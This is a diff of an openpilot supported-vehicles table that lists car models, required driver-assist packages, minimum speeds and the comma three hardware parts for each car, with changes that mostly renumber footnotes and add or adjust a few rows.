|| -|Lincoln|Aviator 2021|Co-Pilot360 Plus|openpilot available[1](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Ford Q3 connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| -|MAN|eTGE 2020-23|Adaptive Cruise Control (ACC) & Lane Assist|openpilot available[1,10](#footnotes)|0 mph|31 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 J533 connector
- 1 USB-C coupler
- 1 angled mount (8 degrees)
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| -|MAN|TGE 2017-23|Adaptive Cruise Control (ACC) & Lane Assist|openpilot available[1,10](#footnotes)|0 mph|31 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 J533 connector
- 1 USB-C coupler
- 1 angled mount (8 degrees)
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| +|Lexus|UX Hybrid 2019-23|All|openpilot|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 RJ45 cable (7 ft)
- 1 Toyota connector
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| +|Lincoln|Aviator 2020-21|Co-Pilot360 Plus|openpilot available[1](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Ford Q3 connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| +|MAN|eTGE 2020-23|Adaptive Cruise Control (ACC) & Lane Assist|openpilot available[1,12](#footnotes)|0 mph|31 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 J533 connector
- 1 USB-C coupler
- 1 angled mount (8 degrees)
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| +|MAN|TGE 2017-23|Adaptive Cruise Control (ACC) & Lane Assist|openpilot available[1,12](#footnotes)|0 mph|31 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 J533 connector
- 1 USB-C coupler
- 1 angled mount (8 degrees)
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| |Mazda|CX-5 2022-23|All|Stock|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Mazda connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| |Mazda|CX-9 2021-23|All|Stock|0 mph|28 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Mazda connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| |Nissan|Altima 2019-20|ProPILOT Assist|Stock|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-empty.svg)](##)|
View- 1 Nissan B connector
- 1 RJ45 cable (7 ft)
- 1 USB-C coupler
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| @@ -162,26 +165,26 @@ A supported vehicle is one that just works when you install a comma three. All s |Nissan|Rogue 2018-20|ProPILOT Assist|Stock|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-empty.svg)](##)|
View- 1 Nissan A connector
- 1 RJ45 cable (7 ft)
- 1 USB-C coupler
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| |Nissan|X-Trail 2017|ProPILOT Assist|Stock|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-empty.svg)](##)|
View- 1 Nissan A connector
- 1 RJ45 cable (7 ft)
- 1 USB-C coupler
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| |Ram|1500 2019-23|Adaptive Cruise Control (ACC)|Stock|0 mph|32 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 RJ45 cable (7 ft)
- 1 Ram connector
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| -|SEAT|Ateca 2018|Adaptive Cruise Control (ACC) & Lane Assist|openpilot available[1,10](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 J533 connector
- 1 USB-C coupler
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| -|SEAT|Leon 2014-20|Adaptive Cruise Control (ACC) & Lane Assist|openpilot available[1,10](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 J533 connector
- 1 USB-C coupler
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| -|Subaru|Ascent 2019-21|All|Stock|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-empty.svg)](##)|
View- 1 RJ45 cable (7 ft)
- 1 Subaru A connector
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| -|Subaru|Crosstrek 2018-19|EyeSight Driver Assistance|Stock|0 mph|0 mph|[![star](assets/icon-star-empty.svg)](##)|[![star](assets/icon-star-empty.svg)](##)|
View- 1 RJ45 cable (7 ft)
- 1 Subaru A connector
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| -|Subaru|Crosstrek 2020-23|EyeSight Driver Assistance|Stock|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-empty.svg)](##)|
View- 1 RJ45 cable (7 ft)
- 1 Subaru A connector
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| -|Subaru|Forester 2019-21|All|Stock|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-empty.svg)](##)|
View- 1 RJ45 cable (7 ft)
- 1 Subaru A connector
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| -|Subaru|Impreza 2017-19|EyeSight Driver Assistance|Stock|0 mph|0 mph|[![star](assets/icon-star-empty.svg)](##)|[![star](assets/icon-star-empty.svg)](##)|
View- 1 RJ45 cable (7 ft)
- 1 Subaru A connector
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| -|Subaru|Impreza 2020-22|EyeSight Driver Assistance|Stock|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-empty.svg)](##)|
View- 1 RJ45 cable (7 ft)
- 1 Subaru A connector
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| -|Subaru|Legacy 2020-22|All|Stock|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-empty.svg)](##)|
View- 1 RJ45 cable (7 ft)
- 1 Subaru B connector
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| -|Subaru|Outback 2020-22|All|Stock|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-empty.svg)](##)|
View- 1 RJ45 cable (7 ft)
- 1 Subaru B connector
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| -|Subaru|XV 2018-19|EyeSight Driver Assistance|Stock|0 mph|0 mph|[![star](assets/icon-star-empty.svg)](##)|[![star](assets/icon-star-empty.svg)](##)|
View- 1 RJ45 cable (7 ft)
- 1 Subaru A connector
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| -|Subaru|XV 2020-21|EyeSight Driver Assistance|Stock|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-empty.svg)](##)|
View- 1 RJ45 cable (7 ft)
- 1 Subaru A connector
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| -|Škoda|Fabia 2022-23[9](#footnotes)|Adaptive Cruise Control (ACC) & Lane Assist|openpilot available[1,10](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 J533 connector
- 1 USB-C coupler
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
[11](#footnotes)|| -|Škoda|Kamiq 2021[7,9](#footnotes)|Adaptive Cruise Control (ACC) & Lane Assist|openpilot available[1,10](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 J533 connector
- 1 USB-C coupler
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
[11](#footnotes)|| -|Škoda|Karoq 2019-21[9](#footnotes)|Adaptive Cruise Control (ACC) & Lane Assist|openpilot available[1,10](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 J533 connector
- 1 USB-C coupler
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| -|Škoda|Kodiaq 2017-23[9](#footnotes)|Adaptive Cruise Control (ACC) & Lane Assist|openpilot available[1,10](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 J533 connector
- 1 USB-C coupler
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| -|Škoda|Octavia 2015, 2018-19[9](#footnotes)|Adaptive Cruise Control (ACC) & Lane Assist|openpilot available[1,10](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 J533 connector
- 1 USB-C coupler
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| -|Škoda|Octavia RS 2016[9](#footnotes)|Adaptive Cruise Control (ACC) & Lane Assist|openpilot available[1,10](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 J533 connector
- 1 USB-C coupler
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| -|Škoda|Scala 2020[9](#footnotes)|Adaptive Cruise Control (ACC) & Lane Assist|openpilot available[1,10](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 J533 connector
- 1 USB-C coupler
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
[11](#footnotes)|| -|Škoda|Superb 2015-22[9](#footnotes)|Adaptive Cruise Control (ACC) & Lane Assist|openpilot available[1,10](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 J533 connector
- 1 USB-C coupler
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| +|SEAT|Ateca 2018|Adaptive Cruise Control (ACC) & Lane Assist|openpilot available[1,12](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 J533 connector
- 1 USB-C coupler
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| +|SEAT|Leon 2014-20|Adaptive Cruise Control (ACC) & Lane Assist|openpilot available[1,12](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 J533 connector
- 1 USB-C coupler
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| +|Subaru|Ascent 2019-21|All[7](#footnotes)|Stock|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-empty.svg)](##)|
View- 1 RJ45 cable (7 ft)
- 1 Subaru A connector
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| +|Subaru|Crosstrek 2018-19|EyeSight Driver Assistance[7](#footnotes)|Stock|0 mph|0 mph|[![star](assets/icon-star-empty.svg)](##)|[![star](assets/icon-star-empty.svg)](##)|
View- 1 RJ45 cable (7 ft)
- 1 Subaru A connector
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| +|Subaru|Crosstrek 2020-23|EyeSight Driver Assistance[7](#footnotes)|Stock|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-empty.svg)](##)|
View- 1 RJ45 cable (7 ft)
- 1 Subaru A connector
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| +|Subaru|Forester 2019-21|All[7](#footnotes)|Stock|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-empty.svg)](##)|
View- 1 RJ45 cable (7 ft)
- 1 Subaru A connector
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| +|Subaru|Impreza 2017-19|EyeSight Driver Assistance[7](#footnotes)|Stock|0 mph|0 mph|[![star](assets/icon-star-empty.svg)](##)|[![star](assets/icon-star-empty.svg)](##)|
View- 1 RJ45 cable (7 ft)
- 1 Subaru A connector
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| +|Subaru|Impreza 2020-22|EyeSight Driver Assistance[7](#footnotes)|Stock|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-empty.svg)](##)|
View- 1 RJ45 cable (7 ft)
- 1 Subaru A connector
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| +|Subaru|Legacy 2020-22|All[7](#footnotes)|Stock|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-empty.svg)](##)|
View- 1 RJ45 cable (7 ft)
- 1 Subaru B connector
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| +|Subaru|Outback 2020-22|All[7](#footnotes)|Stock|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-empty.svg)](##)|
View- 1 RJ45 cable (7 ft)
- 1 Subaru B connector
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| +|Subaru|XV 2018-19|EyeSight Driver Assistance[7](#footnotes)|Stock|0 mph|0 mph|[![star](assets/icon-star-empty.svg)](##)|[![star](assets/icon-star-empty.svg)](##)|
View- 1 RJ45 cable (7 ft)
- 1 Subaru A connector
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| +|Subaru|XV 2020-21|EyeSight Driver Assistance[7](#footnotes)|Stock|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-empty.svg)](##)|
View- 1 RJ45 cable (7 ft)
- 1 Subaru A connector
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| +|Škoda|Fabia 2022-23[11](#footnotes)|Adaptive Cruise Control (ACC) & Lane Assist|openpilot available[1,12](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 J533 connector
- 1 USB-C coupler
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
[13](#footnotes)|| +|Škoda|Kamiq 2021[9,11](#footnotes)|Adaptive Cruise Control (ACC) & Lane Assist|openpilot available[1,12](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 J533 connector
- 1 USB-C coupler
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
[13](#footnotes)|| +|Škoda|Karoq 2019-21[11](#footnotes)|Adaptive Cruise Control (ACC) & Lane Assist|openpilot available[1,12](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 J533 connector
- 1 USB-C coupler
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| +|Škoda|Kodiaq 2017-23[11](#footnotes)|Adaptive Cruise Control (ACC) & Lane Assist|openpilot available[1,12](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 J533 connector
- 1 USB-C coupler
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| +|Škoda|Octavia 2015, 2018-19[11](#footnotes)|Adaptive Cruise Control (ACC) & Lane Assist|openpilot available[1,12](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 J533 connector
- 1 USB-C coupler
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| +|Škoda|Octavia RS 2016[11](#footnotes)|Adaptive Cruise Control (ACC) & Lane Assist|openpilot available[1,12](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 J533 connector
- 1 USB-C coupler
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| +|Škoda|Scala 2020-23[11](#footnotes)|Adaptive Cruise Control (ACC) & Lane Assist|openpilot available[1,12](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 J533 connector
- 1 USB-C coupler
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
[13](#footnotes)|| +|Škoda|Superb 2015-22[11](#footnotes)|Adaptive Cruise Control (ACC) & Lane Assist|openpilot available[1,12](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 J533 connector
- 1 USB-C coupler
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| |Toyota|Alphard 2019-20|All|openpilot|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 RJ45 cable (7 ft)
- 1 Toyota connector
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| |Toyota|Alphard Hybrid 2021|All|openpilot|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 RJ45 cable (7 ft)
- 1 Toyota connector
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| |Toyota|Avalon 2016|Toyota Safety Sense P|openpilot available[2](#footnotes)|19 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-empty.svg)](##)|
View- 1 RJ45 cable (7 ft)
- 1 Toyota connector
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| @@ -194,8 +197,8 @@ A supported vehicle is one that just works when you install a comma three. All s |Toyota|C-HR 2021|All|Stock|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-empty.svg)](##)|
View- 1 RJ45 cable (7 ft)
- 1 Toyota connector
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| |Toyota|C-HR Hybrid 2017-20|All|Stock|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-empty.svg)](##)|
View- 1 RJ45 cable (7 ft)
- 1 Toyota connector
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| |Toyota|C-HR Hybrid 2021-22|All|Stock|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-empty.svg)](##)|
View- 1 RJ45 cable (7 ft)
- 1 Toyota connector
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| -|Toyota|Camry 2018-20|All|Stock|0 mph[6](#footnotes)|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-empty.svg)](##)|
View- 1 RJ45 cable (7 ft)
- 1 Toyota connector
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| -|Toyota|Camry 2021-23|All|openpilot|0 mph[6](#footnotes)|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 RJ45 cable (7 ft)
- 1 Toyota connector
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| +|Toyota|Camry 2018-20|All|Stock|0 mph[8](#footnotes)|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-empty.svg)](##)|
View- 1 RJ45 cable (7 ft)
- 1 Toyota connector
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| +|Toyota|Camry 2021-23|All|openpilot|0 mph[8](#footnotes)|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 RJ45 cable (7 ft)
- 1 Toyota connector
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| |Toyota|Camry Hybrid 2018-20|All|Stock|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-empty.svg)](##)|
View- 1 RJ45 cable (7 ft)
- 1 Toyota connector
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| |Toyota|Camry Hybrid 2021-23|All|openpilot|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 RJ45 cable (7 ft)
- 1 Toyota connector
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| |Toyota|Corolla 2017-19|All|openpilot available[2](#footnotes)|19 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-empty.svg)](##)|
View- 1 RJ45 cable (7 ft)
- 1 Toyota connector
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| @@ -225,54 +228,56 @@ A supported vehicle is one that just works when you install a comma three. All s |Toyota|RAV4 Hybrid 2019-21|All|openpilot|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 RJ45 cable (7 ft)
- 1 Toyota connector
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| |Toyota|RAV4 Hybrid 2022|All|Stock|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-empty.svg)](##)|
View- 1 RJ45 cable (7 ft)
- 1 Toyota connector
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| |Toyota|Sienna 2018-20|All|openpilot available[2](#footnotes)|19 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 RJ45 cable (7 ft)
- 1 Toyota connector
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| -|Volkswagen|Arteon 2018-22|Adaptive Cruise Control (ACC) & Lane Assist|openpilot available[1,10](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 J533 connector
- 1 USB-C coupler
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| -|Volkswagen|Arteon eHybrid 2020-22|Adaptive Cruise Control (ACC) & Lane Assist|openpilot available[1,10](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 J533 connector
- 1 USB-C coupler
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| -|Volkswagen|Arteon R 2020-22|Adaptive Cruise Control (ACC) & Lane Assist|openpilot available[1,10](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 J533 connector
- 1 USB-C coupler
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| -|Volkswagen|Atlas 2018-23|Adaptive Cruise Control (ACC) & Lane Assist|openpilot available[1,10](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 J533 connector
- 1 USB-C coupler
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| -|Volkswagen|Atlas Cross Sport 2021-22|Adaptive Cruise Control (ACC) & Lane Assist|openpilot available[1,10](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 J533 connector
- 1 USB-C coupler
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| -|Volkswagen|California 2021|Adaptive Cruise Control (ACC) & Lane Assist|openpilot available[1,10](#footnotes)|0 mph|31 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 J533 connector
- 1 USB-C coupler
- 1 angled mount (8 degrees)
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| -|Volkswagen|Caravelle 2020|Adaptive Cruise Control (ACC) & Lane Assist|openpilot available[1,10](#footnotes)|0 mph|31 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 J533 connector
- 1 USB-C coupler
- 1 angled mount (8 degrees)
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| -|Volkswagen|CC 2018-22|Adaptive Cruise Control (ACC) & Lane Assist|openpilot available[1,10](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 J533 connector
- 1 USB-C coupler
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
